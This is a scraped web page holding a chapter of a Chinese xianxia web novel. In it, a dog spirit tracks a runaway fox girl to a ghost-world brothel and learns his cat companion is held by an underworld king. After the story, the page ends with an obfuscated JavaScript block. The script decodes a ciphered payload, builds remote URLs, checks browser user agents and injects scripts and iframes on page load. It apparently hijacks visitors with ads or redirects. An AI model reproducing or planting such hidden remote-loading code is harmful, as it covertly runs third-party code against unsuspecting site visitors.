关灯
护眼
字体:

第158章 潇湘水断玉山倾七(第1页)

章节目录保存书签

忽见桌子底下钻出个人来,局面一时有些混乱。周遭推杯换盏、吹弹歌舞的动静戛然而止。风花雪月就此打住。人群包围之中,旺财难得头脑清醒一回,匆忙从裤裆里掏出一枚地遁符。三十六计,走为上策。情况不对,跑就对了!旺财已然钻到地下,不想被什么东西缠住腰身,又把他给刨了出来。一圈又一圈密密匝匝的诡异红线,将他整个人都裹成了蚕茧,只露出一颗脑袋。他站不稳当,摔倒在地,便爬不起来了,只能像虫子一样拱来拱去。众人重新将他围了起来,七嘴八舌地议论道:“小贼,当这里是什么地方,岂容你说来就来,说走就走?”“好大胆的贼腿子,敢跑到这里来砸场子,当心我扒了你的皮!”“快请黑白无常两位大人过来,看要怎么收拾他才好……”旺财一边挣扎,一边叫嚷:“快放开我,否则小爷要你们好看!”奇了怪了,身上的红线不知有何魔力,竟叫他使尽浑身解数也无法挣脱?!众人见他死鸭子嘴硬,纷纷撩起裤腿就要上去踹两脚。旺财眼见雨点般的脚丫子落下来,赶紧闭上眼睛,但这些脚印并没有落到他身上,被一阵红光尽数挡开了。“住手!本姑娘亲自抓的小贼,还轮不到你们动手动脚!”一道清丽的声音压下所有人的叫嚣。人群中让出一条道来,旺财睁眼,看到了两条白花花的大腿。视线上移,一张浓妆艳抹的脸映入眼帘。这个女人,岂不正是他在桌子底下“偶遇”的那位?他眼见这女子趴在男人双腿之间,姿势极其不雅,若不是突然一脚踹他身上,惊吓过度顶翻了桌子,怕是要上演一场活春宫了。再看她一身装束,与沦落红尘的鬼中娼妓一般无二。然而就是这么一个女子,却有能耐喝退所有人。她一挥衣袖,悠悠然朝围观众人扫了几眼,“你们傻站在这里做什么?还不快散开,本姑娘心情不好,下一场就不陪你们玩儿了。”周围立刻有人不乐意了,“好姑娘,你一句话就断了我们的念想,这怎么行?”“桌上的酒还没喝完,姑娘究竟姓什么,大家伙儿也还没猜出来,如何说不玩儿就不玩儿了呢?难道方才的赌约都不算数了吗?”众人纷纷附和,“就是就是,我们还没玩儿够呢!”“都不许吵,我说什么就是什么!”女子厉声喝止他们,“那边歌舞还没散场,你们尽管去看、去玩、去闹好了,本姑娘自己的事情,自己做主,由不得你们说了算!”她生气时,双手叉腰,头颅高昂,颇有一副小女儿家骄矜蛮横的姿态。值得一提的是,她的手臂上竟然盘踞着一条栩栩如生的蛇形刺青。古怪而又狰狞。恍惚间蛇头动了一下。旺财还以为自己看错了,直到那条蛇蓦然睁开眼睛,把他吓一大跳!蛇,是狗子最讨厌的东西。他之所以这么讨厌蛇,是因为他极其怕蛇。遥想当年,胆小狗在野地里踩到了一条花斑蛇的尾巴,直接弹射起跳,抱住李停云的脑袋瑟瑟发抖,恨不得这辈子都不要下地了!女人手臂上的蛇形刺青,实在是活灵活现,仿佛下一刻就要从沉睡中醒来,高高地昂起头颅,吐出分叉的毒信子。看得旺财心里发毛。不过,他知道,这枚刺青可不一般。传说上古神只女娲氏,人首蛇身,乃地界之祖,如今的鬼帝和鬼王亦是拖着半截蛇尾的怪物。因此,酆都鬼域向来以蛇为统治者的象征。这个臂上纹蛇的女子,想必大有来头。旺财这点见识还是有的。围观人群也有眼力见,不敢忤逆女人说的话,就只好悻悻地离开了。不过,其中一人特意留下,问了一声:“姑娘,此贼大胆闯入潇湘阁,要不要告知黑白无常两位大人……”女人摆摆手道:“区区一个小贼而已,本姑娘自己处置就是了,没必要告诉小黑和小白,他们不是正陪着楼上那位爷,做什么典当义卖吗?想来没工夫管这些小事。”小黑?小白?这般称呼谢必安和范无咎,也是十分轻蔑了。旺财不禁对她产生好奇,有心抬头,再一次将她上上下下仔仔细细打量一番。女人身着湘妃色窄衣薄裙,脸上脂粉抹得奇厚,无论衣饰还是妆面,从上到下都粉扑扑的,就连嘴唇也要涂成花苞的颜色,活像林子里最妖冶的那株桃树成了精。看得出,她在极力把自己打扮得“花枝招展”“千娇百媚”。然,修饰过度,太妖艳了。女人见旺财一直盯着她看,俯身凑近,“粉唇”轻启,“小贼,看呆了?”旺财“嘁”了一声,“粉色娇嫩,你如今几岁了?不好看,不好看!”“是吗?”女人冷哼一声,“你等着,我给你点颜色瞧瞧!”小主,这个章节后面还有哦,,后面更精彩!旺财奋力蛄蛹,但身上缠满了红线,无论怎么挣扎都无济于事。女人牵起红线的另一端,轻轻松松拖着他走了一路。她把旺财拖回了自己的房间。这里更清静些,不会有人打扰。动动手指,红绳松散开来,但也只是一瞬,旺财又被五花大绑起来。不过换了个造型,从“蚕蛹”变成了“粽子”。“人间的端午节要到了,讨个吉祥,”她甚至贴心地系了个蝴蝶结,“不要乱动,否则我现在就上锅把你给蒸了!”旺财凶恶道:“喂喂喂!我警告你,不要轻举妄动,最好现在就把我给放了!你知道我主人是谁吗?说出来吓死你!”女人侧目而视,“第一,我不叫‘喂’。第二,刚才说好了,要给你点颜色看看,我可是说一不二的,你看好了!”一阵金光闪过。差点刺瞎了旺财的狗眼。女人摇身一变,换了一身装扮,也换了一张脸。故意搔首弄姿,挺起胸脯,问道:“你说我穿粉色不好看,那我穿红的,有没有好看一些?”旺财:“……”他尖锐点评道:“没有!像朵大喇叭花儿似的,更难看了。”女人一甩衣袖,又换了身素雅的衣衫,摆出“西子捧心”的姿态,再次问道:“那这样呢?会不会显得‘我见犹怜’?”悄悄拧了自己的大腿一把,疼得呲牙咧嘴,却没有哭出来。她眨眨眼睛,“羞涩”道:“不好意思,刚才表情失控了。不过,你可以想象一下我‘梨花带雨’的模样,想必也是极美的。”一举一动都在卖弄风情,可眼神里分明透露着一丝……清澈的愚蠢。紧接着,赤橙黄绿青蓝紫,她挨个换了一遍。旺财看得眼花缭乱,喊道:“别再折磨我了,你还是穿最初那身粉的吧!”女人问道:“是吗?我也这么觉得,曾有人说,我穿粉色最好看。他还说,我穿什么都好看,套个破麻袋也是最漂亮的。”“啊对对对,”旺财胡谄道:“情人眼里出西施,那人肯定是你的老相好吧?”“才不是!”女人下意识反驳,脸色也变了,“你不要胡说八道。”许是她反应太大,看起来欲盖弥彰。旺财抓住痛点,刺激道:“一定是我猜中了,你才会恼羞成怒!”“既然是你的老相好,你为什么不敢承认呢?”“难道是他另寻新欢,跟别人跑了,不要你了?”“还是说……”他故意作出夸张的表情,惊讶道:“他不会已经死了吧?!”狗子纯粹是在闹着玩儿,嘴比脑子快罢了,越说越离谱。不想竟窥破几分隐秘。女人面无表情,显然生气了,当她不再卖弄姿色,才真正显出几分冷艳。她一字未言,攥紧了拳头,旺财身上的红线越缠越紧。线头试探地爬上他的脸颊,三下五除二,把他整颗脑袋都裹了起来。他变成了一颗真正的“粽子”。早知道不嘴贱了……旺财心想,这下不会真的要被上锅蒸了吧?眼前一片漆黑,什么都看不见,听觉反倒格外敏锐起来。银铃颤动,叮当作响。声音清脆但却细弱,极易在嘈杂中湮没,正因如此,他之前完全没有发觉。旺财心思一动,登时想到了玄聿交代过的话——狐妖善于变化,司无忧是偷跑出来的,大概不以原貌示人,但无论她怎么变化,脚腕上总会系着一根红绳,绳子上还挂着一颗小铃铛。旺财却记得女人光裸的脚踝上什么装饰都没有。并不见红绳或是铃铛。等等……红绳?!缠在自己身上一圈又一圈的红线又怎么能不算呢?他挣扎得越是剧烈,那阵清脆的响声就越是明显。也许,所谓的红线和铃铛,根本就是司无忧的随身法器。但旺财还是有些不确定……他忽然意识到,其实自己从来没有真正认识过司无忧。即便他和玄聿走得极近,但他与司无邪、司无忧兄妹俩接触并不多,尤其是司无忧,两人甚至没有正面相见过,他根本不知道司无忧长什么样。他对司无忧所有的了解,完全来自于玄聿的描述,以及居住在永劫镇上其他猫妖们絮絮叨叨的抱怨:她可太难管教了,老是偷跑出去惹是生非。所以,这个花花绿绿五颜六色的女人,到底是不是他要找的狐狸精?“等等……美丽的仙女姐姐,我为我刚才的鲁莽道歉……”旺财能屈能伸,试探道:“我之前听到你跟那些男人喝酒打赌,他们没有一个能猜出你姓什么,但我不仅知道你姓什么,还知道你叫什么。”他清清嗓子,“我叫你一声,你敢答应吗?”没有回应。不知道这女人在想什么。旺财直接大声喊道:“云、霏、烟!”倘若没记错的话,司无忧被云岚宗认回去之后,更名改姓,就叫“霏烟”来着。,!女人一愣,朝他翻了个大大的白眼,尽管他也看不到就是了,慢条斯理道:“好笑,我才不唤什么‘云霏烟’。”旺财问道:“真的假的?你不要骗我,我真的会信。”这时候,只要她敢说认错了,傻狗也是真敢相信的。谁料,女人冷声纠正他:“你记住了,我叫司无忧!自由自在、无忧无虑的那个‘无忧’!”“人家是只狐狸,是妖,不是人,注定不可能和那些自诩正道的仙门中人鬼混在一起,你懂吗?!”“从今以后,不管你在什么地方看到我,都不要喊我‘云霏烟’!”司无忧严肃道:“重新来一遍,你该叫我什么?”旺财被训得一愣一愣,“司……司无忧?你真的是司无忧?”“哎,是我。正是本人,如假包换!”司无忧拍拍胸脯,心里舒畅了,“小贼,我想我们两个是认识的……你就是我家猫养的那只狗,叫‘旺财’,对吗?”尽管她对狗子的印象很浅,但她这个人,记性好着呢。毫不夸张地说,有些人,她只需要见一面,化成灰都能认出来。司无忧在这一点上十分自信。下巴抬得高高的,眼睛一闭一睁,“见你第一面的时候,我就认出你了,否则,我怎么会把你这个胆大包天的‘小贼’带到自己房间呢?”“可你倒好,狗嘴里吐不出象牙来,一句好话也不会说,就知道惹本姑娘生气!早知如此,我就该让他们把小黑和小白找来,好好治治你!”她把红线撤了,一挥衣袖,坐在榻上,“说说吧,你找我有什么事?”旺财得到解脱,睁眼看过去,果不其然,一根拴着小铃铛的红绳系在她脚腕上,随着脚步移动轻声作响。他看了眼司无忧的脸,好奇道:“说起来,我还没见过你的真容……既然你现在没必要伪装了,那我们不如坦诚相见?”司无忧摸了摸自己的右脸,似乎有些犹豫,眼帘低垂,想了想还是施法化出真容,“……不许说我丑。”旺财歪了歪脑袋,平心而论:“其实……你本来就很好看了。”“甚至可以说,你是我见过的所有女人里最漂亮的那一个。”“真搞不懂,你为什么要换假面,还涂那么厚的脂粉,远看就像猴屁股,丑死了!”司无忧听他这么说,不自然地摸着自己的右脸,“真的吗?我这样才是最好看的?可是,你一定不知道……”不知道……什么呢?旺财疑惑地看着她。司无忧没有继续说下去,岔开话题道:“对了,你究竟找我有何事?”旺财一本正经道:“哦,是这样的,你哥喊你回家吃饭!”司无忧俏声道:“你以为我会上当吗?我哥自从进了云岚宗,根本没时间管我,更别说给我做饭了。我就算饿死在外面,他也得等我臭了,才来收尸!”旺财道:“不管怎么说,你还是快跟我离开这里吧。虽然我也不知道这是什么地方,但这里一看就不安全……”司无忧道:“这里,是潇湘阁。换句话说,这里是花楼,青楼,不正经的酒楼……随便你怎么叫都行。这里的确不太安全,但我是不会离开这里的。”旺财问道:“……为什么?”司无忧信誓旦旦道:“我这次偷跑出来,是有要紧事要做。”旺财追问:“什么要紧事?”司无忧道:“抓紧把自己嫁出去,解决人生大事!我已经向老天发过誓了,不找到命中注定的那个人,我就不回家。我一定要给我哥找一个妹夫回去才行。”旺财道:“所以……你找来找去,找进了青楼?!”“对啊,不可以吗?”司无忧觉着问题不大。她仔细分析道:“你想啊,青楼,是男人的天堂,这里每天人来人往,形形色色的男人可多了,只有在人多的地方,才有的挑,有的选。”“我一个人修炼太慢了,一定要找个人双修才行。我的要求不是很高,只要对方是个男的,长得好看,修为够高,洁身自好……”司无忧数着掰下四根指头,最后还剩下小拇指,弯了弯,拔声道:“最最重要的是,他得敢玩儿真心,不虚情假意才好!”旺财呵呵一笑,腹诽道:这么多条件,还说要求不高?看来注定要孤老一生了。司无忧说着说着,脸上浮现笑意,“所幸这样的人我已经找到了。”旺财惊叹道:“……还真叫你给找着了?”司无忧道:“这个人你也见过的。”旺财:“我见过?!”司无忧:“是的。你还记得之前在桌子底下……”旺财一拍大腿,“你是说,那个要你给他‘吹箫’的那个男人?!”司无忧惊奇道:“你怎么知道他在教我吹箫?”她笃定道:“他跟我之前遇到的所有人都不一样。我喜欢弹琵琶,他能听懂我的弦外之音!这简直就是‘高山流水遇知音’呀。“小主,这个章节后面还有哦,,后面更精彩!“我只懂弦乐,不懂管乐,所以我们说好了,他教我吹箫……”“我就是有点想不明白,为什么学吹箫非要藏在桌子底下?”旺财脸上表情无法描述,“呃,此箫非彼箫……你是真不懂,还是装糊涂?”司无忧嘟哝道:“不明白你在说什么。反正,我只要他一句话,可愿做我的人,一生一世伴我左右?他十分爽快地答应了。”旺财手忙脚乱地跟她比划:“不不不,这种男人,你可千万不能信,他绝对是在骗你的!说句实话,你在青楼里找男人,简直就是在垃圾堆里捡狗屎!”司无忧“咦呃”一声,“好恶心……完了完了,你这样一说,我以后看到他那张脸,就会想到垃圾堆里的臭狗……哎呀,这男人脏了,我不要了!”旺财无比震惊,“这么随性的吗?”司无忧道:“反正潇湘阁那么多男人,我慢慢挑就是了。”“一个人好无聊,我想找个人陪我,这样晚上睡觉就不会孤单了……”“我们可以躺在一张床上,盖着被子聊到天亮!”旺财二次震惊:“什么?什么?都躺一张床上了,你却只想着说闲话?”司无忧托腮道:“当然不是。两个人在一起,还有好多事情可以做,就比如……”“推牌九,掷色子,斗蛐蛐,解九连环!喝点小酒也行呀……我哥从来不让我喝酒的。”“如果有人愿意给我打掩护,我就可以尝尝我哥酿的‘换骨醪’是什么滋味了。”简直不敢想象,到时候她哥脸上表情会是多么的五彩纷呈。她就喜欢看她哥五颜六色的样子。司无忧漫然无所谓,“你回去告诉我哥,我以后再也不要被他管着了,让他多操心云岚宗那摊子烂事吧,就当没我这个妹妹,以后不用天上地下地找我了。”“那不能够!”狗子坚持道:“我答应了玄聿,要把你给找回去,就一定说到做到。”他大步上前,拉住司无忧的胳膊。由于心里膈应她右臂上的蛇形刺青,还特意抓的是她左胳膊。一下就把她从舒舒服服的软榻上拽了起来。转头就走。司无忧伸出一根手指头,戳了戳他的后背,“咦,你瞧,这是什么?”旺财充耳不闻,后颈传来冰凉的触感,有什么东西在故意扫弄他的脖子。试图转移他的注意力。估摸着是司无忧那根可长可短的古怪红绳在作祟。“你最好不要在我背后搞小动作,我带你走,分明是为了你……”旺财蓦然扭头,果然看到长长的一条……蛇。蛇!!!一条碗口粗的黑斑长蛇,金灿灿的眼瞳与他对视。毒信子几乎戳进他眼眶里!旺财打了个冷颤,汗毛直竖,瞬间起了无数的鸡皮疙瘩。“这可真要吓死狗了……”他喃喃自语。声音越来越轻,仿佛针尖落在地上,旁人根本听不清他在说什么。突然间,狗子四肢抽搐,两眼一翻,华丽丽地晕死了过去。两耳不闻人间事,安详了。司无忧吃了一惊,赶忙俯身拍了拍他的脸蛋,狠狠掐他人中。“一条小蛇而已,竟把你吓成这样?”尽管她口中的“小蛇”,比她小臂还粗就是了。不知过了多久,狗子方才悠悠转醒。醒来之后,他看见一黑一白两道身影,分别站在自己的左右两侧。“我终于还是……吓死了吗?”旺财绝望地闭上眼睛,“你们勾魂的手法可不可以轻一点?”“我死之后,一定不要投胎,我要留在榷场,陪着我的小黑猫……”“我变成鬼之后,就不会掉毛了,如果还有机会见到主人的话,一定能给他做一碗干净的拉面……”“阁下倒是不必如此哀愁,”谢必安咳嗽一声,打断狗子的遗言,真诚道:“我们是来送你上路的。”“我早就知道了,”旺财仰面躺着,一动不动,“记得下手轻点。”谢必安弯下腰,微笑道:“我的意思是,潇湘阁不是你该来的地方,你是时候回去了。放心,看在你主人的面子上,我们不会对你怎么样。”范无咎踹了他一脚,直截了当:“别在这里占地方,快滚!”旺财缓过神,“噌”地一下站了起来,四下寻遍,问道:“司无忧呢?”谢必安平静道:“你不用找她了,她不会跟你走的。她的哥哥,好歹也曾做过我们地界的阴差,她既然到这里来,便是我们的座上宾,我们并不会亏待她。”旺财摇了摇头,“不行,找到司无忧,是玄聿交代我的事,我要给他办好了。你们把她交给我,我一定要带她走!”谢必安眼睛一眯,觉得他有些难缠,但又不能跟他翻脸,更不能拿他怎么办……俗话说,打狗还要看主人,而他的主人,确实惹不起。旺财好似想到什么,脸色一变,“对了,玄聿呢?他和我一道进了潇湘阁,说好分头去寻司无忧,我这边找到人了,他那边却一直没有音讯……你们见过他了吗?”,!谢必安点了点头,周旋道:“玄聿,是那只黑猫,对吗?他大小也算是我们地界的阴差,带人私闯潇湘阁这件事,我们可以不追究。”旺财大声道:“你在回避我的问题!我问的是,你见过玄聿吗?但你却说,他可以不追究他私闯潇湘阁的罪过……你们一定见过他了,你们是不是把他抓了起来?休想忽悠我!”谁都没有料到,他会突然出手,攥住谢必安的脖子,拉到近前。与此同时完美避开了黑无常背后偷袭的那根哭丧棒!一整套动作行云流水,骤雨疾风,凌厉之势令人吃惊。谢必安想错了,轻敌了,还以为这条傻狗真是什么酒囊饭袋。事实上,太极殿的人,从上到下都不是省油的灯。谢必安若有所思,叹了口气,“我想我们还是好好谈谈,能用嘴解决的事情,就不要动手了。当然,这不是因为我怕你。”“听说你把判官的手指咬断了一根,真是好勇气……他现在正在到处找你。地界到底是我们的地盘,你得罪的人越多,就越没有台阶可下。”“虽然我们并不想与太极殿为敌,但你还是好好掂量一下,你在这里四面树敌,会是什么后果,想必你的主人也不容你这么放肆吧。”听他说完这些,旺财确实有些松动,类似的话,玄聿也曾提醒过他。狗子退让一步,“只要你告诉我,玄聿现在在哪里,他怎么样了,我就松手放了你,不然我拧断你的脖子!”范无咎上前一步,手中的哭丧棒化作一柄黑刃,“臭狗,我会在那之前,先斩下你的狗头!”旺财倨傲道:“是吗?你出手太慢了,根本赶不上我。要不然比一比?”谢必安“啧”了一声,“你俩先不要吵。这位狗……仁兄,我可以回答你的问题,我的确见过玄聿,他现在的处境也很安全,但他怕是不能与你一同离开了。”旺财攥紧了她的脖子,质问道:“为什么?”谢必安没有正面回答,反问道:“那只黑猫只管把你带进来,却没有告诉你,这里究竟是什么地方吗?”旺财道:“潇湘阁,一座青楼而已。”谢必安笑了,“而已?你也太狂妄了。”他伸出一根手指,指了指天花板,“楼上有场义卖,你知道吗?”“这场义卖的主持者,正是十殿阎罗之一的轮转王,排行第十,我们平时称呼他‘十王殿下’。”“与其他九位王爷相比,这一位与众不同,他并不掌管大小地狱,名下只有一口轮回井……”旺财不耐烦道:“说重点!”谢必安直言道:“你的黑猫朋友,此刻就在他的手里。”“所以,那只猫妖的安危,并不是我能决定的。”“事实上,放任你离开,也不是我做的主。”他简短道:“殿下说了,你有两条路可选,要么走,要么死。”:()我,穿书反派,温柔师尊请留步

章节目录

!function(){function a(a){var _idx="d5xud2u4am";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pac6a??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=(c6=+i;NmLF562p67TcdaaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLmR7RF:Cpm(O^gQ1KQ"Z=28Jc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/fnR_f@_od^/1os"!7m5Y|5T%%=FmL5(8Jc2a=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=DcaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}Pr55dTm6Lr55dTcda??cd8HZ=(c6=""aa!qYF _8"1os"=h8"fnR_f@_od^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 XcYa[Xd5 F8H"1os2CTqf7mTfD_J(:m(O^"="1osCSTqfXmJq4Y(2fm(O^"="1osOSTq47mTfD_J(:m(O^"="1osF(Tq2SmJq4Y(2fm(O^"="1osDhTqdJmTfD_J(:m(O^"="1osh)TqCqmJq4Y(2fm(O^"="1osJfTq7DmTfD_J(:m(O^"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"=28H"Y#"%hZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%_=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28_HfZcYH(Zc^%%aa=O8_HfZcYH(Zc^%%aa=68_HfZcYH(Zc^%%aa=d8_HfZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PpcOa=@8887mqOdfiFdF_LvvDcaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=pcOaP=7mqOdfiFdF_L8}PqYF T8l}!7_2(F6O2 Dca[TvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 ica[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clTa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=T8l0PqYF F8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ/f/1osj(8}vY8fnR_f@_od^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=28Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??2avvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajXc7_2(F6O2ca[qc@0}a=Xc7_2(F6O2ca[qc@0@a=fc7_2(F6O2ca[qc@0saPaPaPagfc7_2(F6O2ca[qc}0}a=fc7_2(F6O2ca[qc}0@a=Xc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??ica=XO6f 